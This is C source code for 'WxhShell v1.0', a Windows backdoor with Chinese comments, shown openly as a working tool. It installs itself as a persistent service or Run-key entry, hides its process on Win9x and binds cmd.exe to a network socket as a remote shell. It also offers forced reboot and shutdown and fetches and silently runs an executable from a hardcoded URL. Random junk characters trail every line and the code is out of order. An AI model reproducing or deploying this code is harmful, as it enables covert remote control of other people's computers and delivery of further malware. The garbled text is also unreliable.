  case 'd': { )8H5ovj.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zUw9  
    if(Boot(SHUTDOWN)) =xs{Ov=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }v'jFIkhI  
    else { (5l5@MN  
    closesocket(wsh); 0FDfB;  
    ExitThread(0); a\wpJ|3{=T  
    } [6bK>w"v  
    break; |JpLMUG  
    } k5>K/;*9  
  // 获取shell oSb,)k@  
  case 's': { 9s5PJj"u  
    CmdShell(wsh); -3M6[`/  
    closesocket(wsh); '`$US;5  
    ExitThread(0); eBD7g-  
    break; kEM5eY  
  } ,j4 ;:F  
  // 退出 D4:c)}  
  case 'x': { w$JG:y#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BF*]l8p  
    CloseIt(wsh); { r9fKA  
    break; W_zv"c  
    } FW)G5^Tf  
  // 离开 I_Q*uH.Y5  
  case 'q': { ToUeXU [  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7Y:~'&U|  
    closesocket(wsh); oGzZ.K3 A  
    WSACleanup(); y;N[#hY#CD  
    exit(1); 0Ey*ci^ue  
    break; z0;+.E!  
        } |[k/%  
  } A7~~{9  
  } E%CJM+r!  
rYnjQr2a  
  // 提示信息 Q\H_lB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {DPobyvwFk  
} u`l1 zMk  
  } >?b9Xh  
g-c\ ;  
  return; t^h {D   
} rPV\ F  
Pg3O )D9  
// shell模块句柄 fP41 B  
int CmdShell(SOCKET sock) bg\~"  
{ *o8DfZ  
STARTUPINFO si; 6Xjr0 C+  
ZeroMemory(&si,sizeof(si)); Nz+Jf57t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I("J$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } k[gR I]  
PROCESS_INFORMATION ProcessInfo; * \@u,[,  
char cmdline[]="cmd"; GS^U6Xef  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q%u;+/|l  
  return 0; |w(@a:2 kw  
} LbGyD;#_  
L#'B-G4&y  
// 自身启动模式 ^O cM)Z6h  
int StartFromService(void) W/O&(t  
{ Z8 \c'xN  
typedef struct YuWsE4$  
{ d#@N2  
  DWORD ExitStatus; LTsG  
  DWORD PebBaseAddress; e[t+pnRh  
  DWORD AffinityMask; 6x*u S~'  
  DWORD BasePriority; pn6 e{   
  ULONG UniqueProcessId; z}'*zB>  
  ULONG InheritedFromUniqueProcessId; ER:)Fk>_  
}   PROCESS_BASIC_INFORMATION; 4Fr0/="H  
&e\A v.n@-  
PROCNTQSIP NtQueryInformationProcess; 66"-Xf~u  
|V2+4b,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]KMOLe6(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hSmu"a,S  
D.2HM  
  HANDLE             hProcess; 56Q9RU(M  
  PROCESS_BASIC_INFORMATION pbi; pq`Bg`c  
JFx=X=C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NGHzifaE   
  if(NULL == hInst ) return 0; (,<ti):  
Z:|2PQ4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (ilU<Ht  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F`9;s@V*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M2ig iR  
i"uAT$xe  
  if (!NtQueryInformationProcess) return 0; ;mV,r,\dH  
W`fE@*k0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CB5 ~!nKv&  
  if(!hProcess) return 0; 4'pg>;*.  
0:^L>MO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; > m GO08X  
xN\ PQ,J  
  CloseHandle(hProcess); iw|6w,-)C  
oI9Jp`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4C&L%A  
if(hProcess==NULL) return 0; ]9?_ m@Ihx  
W?m?r.K?  
HMODULE hMod; DXAA[hUjF  
char procName[255]; :U`8s#  
unsigned long cbNeeded; 6g@@V=mf  
dA<PQKm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {q2H_H  
s1XW}Dw  
  CloseHandle(hProcess); /i+8b(x  
"1rZwFI0l  
if(strstr(procName,"services")) return 1; // 以服务启动 (o,&P9  
ruM16*S{=  
  return 0; // 注册表启动 z<~gv"  
} Xidt\08s  
6Cut[*lj^  
// 主模块 CUOxx,V  
int StartWxhshell(LPSTR lpCmdLine) 7kM_Ijd$  
{ d;KrV=%30s  
  SOCKET wsl; &UG7 g  
BOOL val=TRUE; rvRtR/*?j  
  int port=0; 372ewh3'  
  struct sockaddr_in door; jyPY]r  
\[&~.B  
  if(wscfg.ws_autoins) Install(); >a98 H4  
P)~PrTa%  
port=atoi(lpCmdLine); : 0Nd4hA  
\M/XM6:UG4  
if(port<=0) port=wscfg.ws_port; vv,OBL~{  
B[^mWVp6L  
  WSADATA data; O&93QN0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T`46\KkN  
,D-VC{lj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fG O.wb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X%!#Ic]Q  
  door.sin_family = AF_INET; kWL\JDZ`.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =V:rO;qX+@  
  door.sin_port = htons(port);  .Ev  i  
(6p 5 Fo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j r6)K;:.  
closesocket(wsl); V|vU17Cgy  
return 1; !8]W"@qb  
} GYot5iLg  
%&9tn0B  
  if(listen(wsl,2) == INVALID_SOCKET) { 6vz9r)L  
closesocket(wsl); @*W,Jm3Y  
return 1; :g/HN9  
} +<Ot@luE  
  Wxhshell(wsl); mP GF Y  
  WSACleanup(); HPs$R [  
A(#hyb#  
return 0; .H+`]qLkL  
@)iv'   
} 0Ha1pqR  
4f~hd-z  
// 以NT服务方式启动 Zk2-U"0\o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NG@9 }O  
{ o Wg5-pMWZ  
DWORD   status = 0; zEJ|;oL  
  DWORD   specificError = 0xfffffff; |{HtY  
)Rla VAtM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C\UD0r'p?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mfLS< /A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .EGZv (rz&  
  serviceStatus.dwWin32ExitCode     = 0; 5B| iBS l  
  serviceStatus.dwServiceSpecificExitCode = 0; Gs2.}l z  
  serviceStatus.dwCheckPoint       = 0; 0o[p<<c*  
  serviceStatus.dwWaitHint       = 0; cYdk,N  
{U4BPKof  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |{]\n/M  
  if (hServiceStatusHandle==0) return; q%#dx4z&  
ciI;U/V  
status = GetLastError(); sj003jeko  
  if (status!=NO_ERROR) rixNz@p'%  
{ ~q#UH'=%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zLue j'  
    serviceStatus.dwCheckPoint       = 0; Zr'VA,v  
    serviceStatus.dwWaitHint       = 0; ihKnZcI$i  
    serviceStatus.dwWin32ExitCode     = status; y1^<!I  
    serviceStatus.dwServiceSpecificExitCode = specificError; RH^8"%\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VN|P(S6  
    return; "y/GK1C  
  } yWu80C8 q  
{$4fRxj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2 5h.u>6@{  
  serviceStatus.dwCheckPoint       = 0; X:+;d8rCy  
  serviceStatus.dwWaitHint       = 0; _QfA'32S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  Aki8#  
}  {[o=df/  
xlkEW&N&  
// 处理NT服务事件,比如:启动、停止 R1/ )Yy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <9YRSE [Ed  
{ 3t[2Bd  
switch(fdwControl) K=VYR Y  
{ VWd=7  
case SERVICE_CONTROL_STOP: r8+{HknB;  
  serviceStatus.dwWin32ExitCode = 0; om$)8'A,l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v"6q!  
  serviceStatus.dwCheckPoint   = 0; ^,'!j/w5  
  serviceStatus.dwWaitHint     = 0; '~%1p_0dq  
  { 2J9_(w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'x lK_Z  
  } ?n>h/[/  
  return; AM*V4}s*9k  
case SERVICE_CONTROL_PAUSE: #/!a=0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FSd842O  
  break; rC}r99Pe:x  
case SERVICE_CONTROL_CONTINUE: 6~V$0Y>]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }'a}s0h  
  break; Gr&5 mniu  
case SERVICE_CONTROL_INTERROGATE: eiI}:5~ /g  
  break; #A@*k}/+  
}; "'-f?kZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JadXdK=gE  
} LHKawEZ  
" GkBX  
// 标准应用程序主函数 phwk0J]2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T?:Vw laE  
{ 6",1JH,;p  
<i`Ipj  
// 获取操作系统版本 =l&7~  
OsIsNt=GetOsVer(); #, W7N_mt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Pu$1Fp  
3D[IZ^%VtM  
  // 从命令行安装 [2~Et+r6g  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8v\BW^z3  
xR q|W4ay  
  // 下载执行文件 8-UlbO6  
if(wscfg.ws_downexe) { PYPs64kNC]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !]7Z),s  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vq2d+ ,fb  
} E(*RtOC<W  
d%NO_=I.  
if(!OsIsNt) { 3i=+ [  
// 如果时win9x,隐藏进程并且设置为注册表启动 fmY=SqQG-  
HideProc(); m^@,0\F  
StartWxhshell(lpCmdLine); c?"#x-<1s  
} 5;oWFl  
else BV"7Wp;  
  if(StartFromService()) uj,YCJ8UZs  
  // 以服务方式启动 \I1+J9Gl  
  StartServiceCtrlDispatcher(DispatchTable); Co&#mVY4,  
else qd(C%Wk  
  // 普通方式启动 oOUL<ihe?  
  StartWxhshell(lpCmdLine); ,1EyT>  
R}>xpU1  
return 0; CEq0ZL-W  
} CWdA8)n.  
%WiDz0o  
iyAeR!`  
9'faH  
=========================================== @v\Osp t=  
e82SG8#]  
thIuK V{CO  
YvL5>;  
>VM@9Cph  
4\a KC%5  
" 4UT %z}[!  
sxinA8  
#include <stdio.h> pZUckQ  
#include <string.h> n=WwB(}q  
#include <windows.h> <SGO+1zt p  
#include <winsock2.h> |RS9N_eRt  
#include <winsvc.h> <V0]~3  
#include <urlmon.h> '`&gSL.1a@  
w4P?2-kB  
#pragma comment (lib, "Ws2_32.lib") .w/w] Eq  
#pragma comment (lib, "urlmon.lib") Q^>"AhOiU  
rg64f'+Eug  
#define MAX_USER   100 // 最大客户端连接数 X*hY?'Rp  
#define BUF_SOCK   200 // sock buffer YAQ]2<H  
#define KEY_BUFF   255 // 输入 buffer #kjN!S*=  
A-x; ai]  
#define REBOOT     0   // 重启 $ OB2ZS"  
#define SHUTDOWN   1   // 关机 1`J-|eH=Q  
+XCLdf}dC  
#define DEF_PORT   5000 // 监听端口 ad1I2  
/#lhRNX  
#define REG_LEN     16   // 注册表键长度 T'B43Q  
#define SVC_LEN     80   // NT服务名长度 ]=!wMn**  
#N9^C@  
// 从dll定义API k#X~+}N^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f]Z%,'1^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gpDH_!K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y:u7*%"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o.W:R Ux  
O?5uCh$H  
// wxhshell配置信息 s :ig;zb  
struct WSCFG { ~Gm<F .(+  
  int ws_port;         // 监听端口  BC*62m  
  char ws_passstr[REG_LEN]; // 口令 o~<Xc  
  int ws_autoins;       // 安装标记, 1=yes 0=no l{<+V)  
  char ws_regname[REG_LEN]; // 注册表键名 7.mY@  
  char ws_svcname[REG_LEN]; // 服务名 CAg~K[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k8IhQ{@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9oBK(Sf@^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1c8Nr&Jl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E#}OIZ\S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #0>??]&r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }#):ZPTs  
.UX`@Q:Gp  
}; ;]c@%LX  
|2t g3m@  
// default Wxhshell configuration n Mm4fns  
struct WSCFG wscfg={DEF_PORT, 35=kZXwG+4  
    "xuhuanlingzhe", -i93  
    1, (:Di/{i&r5  
    "Wxhshell", 4A0 ,N8ja}  
    "Wxhshell", San3^uX  
            "WxhShell Service", QL/I/EgqC  
    "Wrsky Windows CmdShell Service", %d?.v_Hu0  
    "Please Input Your Password: ", S;@nPzhc  
  1, vDI$ QUMD6  
  "http://www.wrsky.com/wxhshell.exe", t 7GK\B8:  
  "Wxhshell.exe" BwOIdz%]OY  
    }; 1.Kun !w  
ayF+2(vch)  
// 消息定义模块 )1?#q[x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ls[0X82F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3 UUOB.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (Y i 1U~{:  
char *msg_ws_ext="\n\rExit."; En!X}Owh  
char *msg_ws_end="\n\rQuit."; }@6Tcn1  
char *msg_ws_boot="\n\rReboot..."; D!7-(3R  
char *msg_ws_poff="\n\rShutdown..."; 6[+@#IWx  
char *msg_ws_down="\n\rSave to "; s1 mKz0q  
((0nJJjz  
char *msg_ws_err="\n\rErr!"; 0b=1Ce+0q  
char *msg_ws_ok="\n\rOK!"; :Kq]b@ X  
RW"QUT  
char ExeFile[MAX_PATH]; fh%|6k?#M  
int nUser = 0; U]Y</>xGI  
HANDLE handles[MAX_USER]; Yzr)UJl*I  
int OsIsNt; 9-:\ NH^;  
%lsRj)n  
SERVICE_STATUS       serviceStatus; 7:/gO~g I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <|-da&7  
T)c<tIr6  
// 函数声明  kg &R  
int Install(void); tzIcR #Z  
int Uninstall(void); CghlyT  
int DownloadFile(char *sURL, SOCKET wsh); \-?0ab3Z  
int Boot(int flag); Cb}I-GtO  
void HideProc(void); ehTrjb3k  
int GetOsVer(void); KC+jHk  
int Wxhshell(SOCKET wsl); Ww=^P{q\  
void TalkWithClient(void *cs); Gxhr0'  
int CmdShell(SOCKET sock); _v6x3 Z  
int StartFromService(void); LX'z7fh  
int StartWxhshell(LPSTR lpCmdLine); m&MAA^I  
[?>\]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &&PXWR!%]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lcVZ 32MQ  
uH{oJSrK  
// 数据结构和表定义 .9NYa|+0  
SERVICE_TABLE_ENTRY DispatchTable[] = n2A ; `=  
{ k\76`!B  
{wscfg.ws_svcname, NTServiceMain}, i(qZ#oN  
{NULL, NULL} X'uQr+p^  
}; <aQ<Wy=\  
RCqd2$K"J+  
// 自我安装 `!(I Q&  
int Install(void) J?#Xy9dz  
{ 0Sj B&J  
  char svExeFile[MAX_PATH]; ,ZV>"'I:  
  HKEY key; ?lca#@f(  
  strcpy(svExeFile,ExeFile); AZ.$g?3w  
a^o'KN{  
// 如果是win9x系统,修改注册表设为自启动 LvqWA}  
if(!OsIsNt) { +)xjw9b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *fCmZ$U:{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q0C%">>1 #  
  RegCloseKey(key); vSnGPLl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (S~kNbIa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r03%+:  
  RegCloseKey(key);  Q}9!aB,  
  return 0; X $2f)3  
    } zJ6""38Pr  
  } OwCbv j0 #  
} y{KYR)   
else { q6PG=9d0B  
.H@b zm  
// 如果是NT以上系统,安装为系统服务 Cs4ks`Z18  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~^TH5n  
if (schSCManager!=0) JIiS/]KQ  
{ ({3Ap{Q}  
  SC_HANDLE schService = CreateService 1/f{1k  
  ( lqTc6@:D  
  schSCManager, N:q\i57x  
  wscfg.ws_svcname, NkV81?  
  wscfg.ws_svcdisp, NDUH10Y:[  
  SERVICE_ALL_ACCESS, 9.%t9RM^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i E?yvtr8  
  SERVICE_AUTO_START, W) Ct*I^  
  SERVICE_ERROR_NORMAL, UgL FU#  
  svExeFile, A.vf)hO  
  NULL, ,!40\"A  
  NULL, Z;<:=#  
  NULL, KKq%'y)u^  
  NULL, lc8g$Xw3  
  NULL %*NED zy  
  ); -7KoR}Ck!  
  if (schService!=0) P;`Awp?  
  { jF-:e;-  
  CloseServiceHandle(schService); 9}wI@  
  CloseServiceHandle(schSCManager); a&2UDl%K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [vY#9W"!  
  strcat(svExeFile,wscfg.ws_svcname); ]Cs=EZr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [D+,I1u2h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fGd1  
  RegCloseKey(key); ppo0DC\>  
  return 0; )@ofczl6  
    } jddhX]>I  
  } q3v v^~  
  CloseServiceHandle(schSCManager); _NB*+HVo  
} "F =NDF  
} -{}h6r  
*c\XQy  
return 1; boI&q>-6Re  
} 's.e"F#  
NB4 Q,iq$  
// 自我卸载 UZdGV?o ?  
int Uninstall(void) :>iN#)S  
{ Z3yy(D>*  
  HKEY key; UEx13!iFo  
1>uAVPa  
if(!OsIsNt) { ;\v&4+3S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2F+"v?n=\  
  RegDeleteValue(key,wscfg.ws_regname); ^mg:<_p  
  RegCloseKey(key); I 12Zh7Cc:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ufe |I  
  RegDeleteValue(key,wscfg.ws_regname); ?YMBZ   
  RegCloseKey(key); `Se2f0",  
  return 0; @t a:9wZ  
  } -u(,*9]cJ*  
} Lk!m1J5  
} eR,/} g\  
else { c4u/tt.)  
0hhxTOp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rc:}%a%e  
if (schSCManager!=0) 2i0;b|-=  
{ !u'xdV+bf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "F}dZ  
  if (schService!=0) Qd~z<U l  
  { \vJ0Mhk1  
  if(DeleteService(schService)!=0) { o l41%q*  
  CloseServiceHandle(schService); '}9 Nvr)+  
  CloseServiceHandle(schSCManager); 7H09\g&  
  return 0; c:e3hJ  
  } PZQAlO,  
  CloseServiceHandle(schService); (uDAdE5  
  } |gWA'O0S  
  CloseServiceHandle(schSCManager); -b iE  
} !uoT8BBAk  
} oN[}i6^,e  
]tXIe?>9  
return 1; `<|tC#<z  
} ,p3]`MG  
X4 ] miUmh  
// 从指定url下载文件 4Z>gK(  
int DownloadFile(char *sURL, SOCKET wsh) Gh/nNwyu<  
{ #6 vf:94  
  HRESULT hr; %g:'6%26  
char seps[]= "/"; 5'NNwc\  
char *token; 1)^\R(l  
char *file; =.7tS'  
char myURL[MAX_PATH]; IA<>+NS  
char myFILE[MAX_PATH]; vQ* RrHG?c  
xVw@pR;  
strcpy(myURL,sURL); ]\KVA)\  
  token=strtok(myURL,seps); ^8EW/$k  
  while(token!=NULL) xxyc^\$  
  { `u}_O(A1pA  
    file=token; mZ2CG O R  
  token=strtok(NULL,seps); :{N*Z}]  
  } wgIm{;T[u  
#Lpw8b6  
GetCurrentDirectory(MAX_PATH,myFILE);  [Q{\Ik  
strcat(myFILE, "\\"); %VFoK-a  
strcat(myFILE, file); .Sn{a }XP4  
  send(wsh,myFILE,strlen(myFILE),0); u4IK7[=  
send(wsh,"...",3,0); WKiP0~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QmjE\TcK/  
  if(hr==S_OK) t VO}{[U}  
return 0; z &X l  
else kmc_%Wm}  
return 1; u 3#+fn_  
<!g]q1  
} \wD/TLS}  
CV\^gTPmx  
// 系统电源模块 EYn?YiVFU  
int Boot(int flag) nKzm.D gt_  
{ %-yzU/`JF  
  HANDLE hToken; ;  ?f+  
  TOKEN_PRIVILEGES tkp; F$DA/{.D  
4VZI]3K,  
  if(OsIsNt) { , + G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t$(#$Z,RS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CDM6o!ur3  
    tkp.PrivilegeCount = 1; _\KFMe= PV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Dc@O Mr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); COsmVQ.  
if(flag==REBOOT) { d_d&su E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =TDKU  
  return 0; ~1D^C |%  
} r) x  
else { bwzx_F/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `X5!s  
  return 0; >U,&V%y  
} jhm/ <=  
  } wv\K  
  else { 3!b $R?kZ  
if(flag==REBOOT) { $/s"It  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lwq:0Rj@Q  
  return 0;  s[{[pIH  
} ;O% H]oN  
else { \KnRQtlI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TdgK.g 4  
  return 0; *0xL(  
} %h@1lsm1+  
} F| eWHw?t  
'KA$^  
return 1; 4?1Qe\A^  
} ?VNtT/  
f~T7?D0u}N  
// win9x进程隐藏模块 V.&F%(L  
void HideProc(void) e?.j8 Q ~  
{ X#ttDB  
9 Gd6/2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >lV,K1Z  
  if ( hKernel != NULL ) salC4z3  
  { +#MXeUX"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O3@DU#N&s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uVUU1@  
    FreeLibrary(hKernel); vSR&>Q%X  
  } ;:D-}t;  
;.uYWP|9  
return; ?OFa Q  
} 3/`BK{  
(p{%]M  
// 获取操作系统版本 ).;{'8Q  
int GetOsVer(void) i"}z9Ae~.  
{ n7fhc*}:`  
  OSVERSIONINFO winfo; !CUl1L1DSi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EL`|>/[J  
  GetVersionEx(&winfo); E%bhd4$G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ).^d3Kp  
  return 1; &N^~=y^`C'  
  else 3_)I&RM  
  return 0; oj djy#:  
} &^"Ru?MK  
@v%Kwe1Q  
// 客户端句柄模块 d}4NL:=&  
int Wxhshell(SOCKET wsl) t|iN Sy3  
{ OF7hp5  
  SOCKET wsh; ^$: w  
  struct sockaddr_in client; QFx3N%  
  DWORD myID; QT,T5Q%JP:  
Zu.hcDw1  
  while(nUser<MAX_USER) ,!l_  
{ &`I(QY  
  int nSize=sizeof(client); zG#5lzIu,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F,Q;sq  
  if(wsh==INVALID_SOCKET) return 1; 3P6O]x<-?  
'nq=xi@RC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'IX1WS&\"  
if(handles[nUser]==0) L*Z.T^h  
  closesocket(wsh); 9m M3Ve*  
else DzGUKJh6  
  nUser++; }_'5Vb_  
  } `[sFh%:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5`.CzQVb  
*)Qv;'U=rn  
  return 0; Z6zV 9hn  
} @3?>[R  
5)RZJrN]  
// 关闭 socket !d N[9}  
void CloseIt(SOCKET wsh) O6hzOyNX@  
{ /xk7Z q  
closesocket(wsh); pJ] Ix *M  
nUser--; 0(7 IsG=t  
ExitThread(0); _p*9LsN$L  
} I1fpX |  
j+_fHADq  
// 客户端请求句柄 op}!1y$9P  
void TalkWithClient(void *cs) S?0o[7(x*  
{ 'GJB9i+a^  
[h3xW  
  SOCKET wsh=(SOCKET)cs; h9Far8}  
  char pwd[SVC_LEN]; !kE5]<H\  
  char cmd[KEY_BUFF]; 5!F;|*vC8  
char chr[1]; cX-M9Cz  
int i,j; p/<DR |  
]lC%HlID  
  while (nUser < MAX_USER) { '3b\d:hN  
(L/>LZn|  
if(wscfg.ws_passstr) { &'z_:Wm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yl-:9|LT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }/a%-07R  
  //ZeroMemory(pwd,KEY_BUFF); |'?vlUCd  
      i=0; `NW/Z/_  
  while(i<SVC_LEN) { N[/<xW~x?4  
pt <zyH3Z  
  // 设置超时 &zJI~R  
  fd_set FdRead; dTg`z,^F  
  struct timeval TimeOut; /]`@.mZ9:  
  FD_ZERO(&FdRead); 3NpB1lgh&:  
  FD_SET(wsh,&FdRead); q}P@}TE  
  TimeOut.tv_sec=8; bCw{9El!K4  
  TimeOut.tv_usec=0; <T_3s\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *C*ZmC5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n-ffX*zA(  
uE's&H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4EqThvI{  
  pwd=chr[0]; kZw"a*6  
  if(chr[0]==0xd || chr[0]==0xa) { C^ )Imr  
  pwd=0; Nj>6TD81u  
  break; w jkh*Y  
  } ^~H}N$W"-q  
  i++; eg;7BZim{  
    } Fv~lasW[  
]UvB+M]Lv)  
  // 如果是非法用户,关闭 socket !J7`frv"(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z(\a JW  
} [{7#IZL  
 _<S!tW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); st RM *.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = 7y-o  
yLC[-.H  
while(1) { |o5eG><  
[inlxJD  
  ZeroMemory(cmd,KEY_BUFF); }n9(|i+  
N!K%aH~O  
      // 自动支持客户端 telnet标准   T)mQ+&|  
  j=0; ?J:w,,4m  
  while(j<KEY_BUFF) { <[db)r~c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  vywB{%p  
  cmd[j]=chr[0]; ZexC3LD"  
  if(chr[0]==0xa || chr[0]==0xd) { cI2Ps3~"Q  
  cmd[j]=0; H a!,9{T  
  break; M/<ypJ  
  } jR/Gd01)  
  j++; <Q|\mUS6  
    } wp?:@XM  
kd'b_D[$H  
  // 下载文件 uFWA] ":is  
  if(strstr(cmd,"http://")) { s%D%c;.|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); # ?2*I2_  
  if(DownloadFile(cmd,wsh)) s>>&3jfM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (e7!p=D  
  else d {!P c<  
